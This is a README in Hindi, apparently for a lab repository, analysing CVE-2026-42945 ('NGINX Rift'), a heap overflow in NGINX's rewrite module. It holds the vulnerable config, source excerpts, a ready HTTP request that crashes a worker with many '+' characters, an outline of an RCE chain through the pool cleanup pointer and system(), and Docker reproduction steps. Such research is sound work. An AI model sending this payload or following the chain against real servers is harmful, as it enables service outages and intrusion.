
NGINX Rift 漏洞分析与复现
CVE-2026-42945 (कोडनेम "NGINX Rift") NGINX ngx_http_rewrite_module में एक हीप बफर ओवरफ़्लो भेद्यता है, CVSS v4 स्कोर 9.2 (क्रिटिकल)।
यह भेद्यता depthfirst सुरक्षा अनुसंधान टीम द्वारा अप्रैल 2026 में खोजी गई थी, और 2008 में NGINX 0.6.27 संस्करण में शामिल होने के बाद से 18 वर्षों तक छिपी रही।
भेद्यता को ट्रिगर करने के लिए निम्नलिखित NGINX कॉन्फ़िगरेशन पैटर्न की आवश्यकता है:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
मुख्य शर्तें:
rewrite निर्देश के प्रतिस्थापन स्ट्रिंग में ? (प्रश्न चिह्न) शामिल हैset निर्देश नियमित अभिव्यक्ति कैप्चर समूह (जैसे $1) को संदर्भित करता है+, &, % आदि) शामिल हैंNGINX का स्क्रिप्ट इंजन rewrite/set निर्देशों को निष्पादित करने के लिए दो-चरणीय प्रसंस्करण का उपयोग करता है:
भेद्यता का मूल दो चरणों के बीच इंजन अवस्था असंगति है:
rewrite is_args फ़्लैग सेट करता हैजब rewrite निर्देश के प्रतिस्थापन स्ट्रिंग में ? शामिल होता है, तो ngx_http_script_start_args_code फ़ंक्शन सेट करता है:
void ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
e->is_args = 1; // स्थायी रूप से सेट, कभी रीसेट नहीं होता!
e->args = e->pos;
e->ip += sizeof(uintptr_t);
}
set निर्देश की लंबाई गणना नया उप-इंजन का उपयोग करती हैजब बाद का set निर्देश कैप्चर समूह को संदर्भित करता है, तो ngx_http_script_complex_value_code एक पूरी तरह से शून्य किया गया उप-इंजन बनाता है:
void ngx_http_script_complex_value_code(ngx_http_script_engine_t *e)
{
ngx_http_script_engine_t le;
// ...
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;
लंबाई गणना (उप-इंजन le का उपयोग करती है, is_args=0) :
// ngx_http_script_copy_capture_len_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=0, शर्त असत्य है, else शाखा में जाता है
return cap[n + 1] - cap[n]; // मूल लंबाई (अनएस्केप्ड) लौटाता है
}
वास्तविक प्रतिलिपि (मुख्य इंजन e का उपयोग करती है, is_args=1) :
// ngx_http_script_copy_capture_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=1, शर्त सत्य है, if शाखा में जाता है
e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
cap[n + 1] - cap[n],
NGX_ESCAPE_ARGS);
// प्रत्येक एस्केप करने योग्य वर्ण 1 बाइट से 3 बाइट तक विस्तारित होता है!
}
raw_size (मूल कैप्चर लंबाई)raw_size + 2 * N (N = एस्केप करने योग्य वर्णों की संख्या)उदाहरण के लिए, यदि URI में 100 + चिह्न हैं, तो अतिप्रवाह 200 बाइट्स है।
सबसे सरल शोषण विधि - कई एस्केप करने योग्य वर्णों वाले अनुरोध भेजने से वर्कर प्रक्रिया क्रैश हो जाती है:
GET /api/+++++++++++++++++++++++++++++++++++ HTTP/1.1
Host: target.com
पूर्ण RCE शोषण श्रृंखला (ASLR बंद या बाईपास की आवश्यकता है):
ngx_pool_t के हीप लेआउट को नियंत्रित करनाcleanup पॉइंटर को ओवरफ़्लो करना : आसन्न मेमोरी पूल संरचना पर अतिप्रवाहsystem() पते सहित नकली संरचना इंजेक्ट करनाngx_destroy_pool को cleanup लिंक्ड सूची को ट्रैवर्स करने के लिए ट्रिगर करनाNGINX की बहु-प्रक्रिया आर्किटेक्चर शोषण को अधिक विश्वसनीय बनाती है - वर्कर क्रैश होने के बाद मास्टर समान मेमोरी लेआउट वाला नया वर्कर फ़ोर्क करता है।
README.md - यह फ़ाइल, भेद्यता विश्लेषण दस्तावेज़Dockerfile - असुरक्षित NGINX वातावरण बनाने के लिएnginx.conf - भेद्यता को ट्रिगर करने वाला NGINX कॉन्फ़िगरेशनpoc_crash.py - DoS PoC (वर्कर क्रैश ट्रिगर करता है)docker-compose.yml - एक क्लिक परीक्षण वातावरण शुरू करने के लिए# 1. असुरक्षित NGINX बनाएं और प्रारंभ करें
docker-compose up -d
# 2. DoS PoC चलाएं
python3 poc_crash.py
# 3. क्रैश की पुष्टि के लिए NGINX त्रुटि लॉग देखें
docker-compose logs nginx
यह सामग्री केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। कृपया इस जानकारी का उपयोग अनधिकृत हमले के व्यवहार के लिए न करें।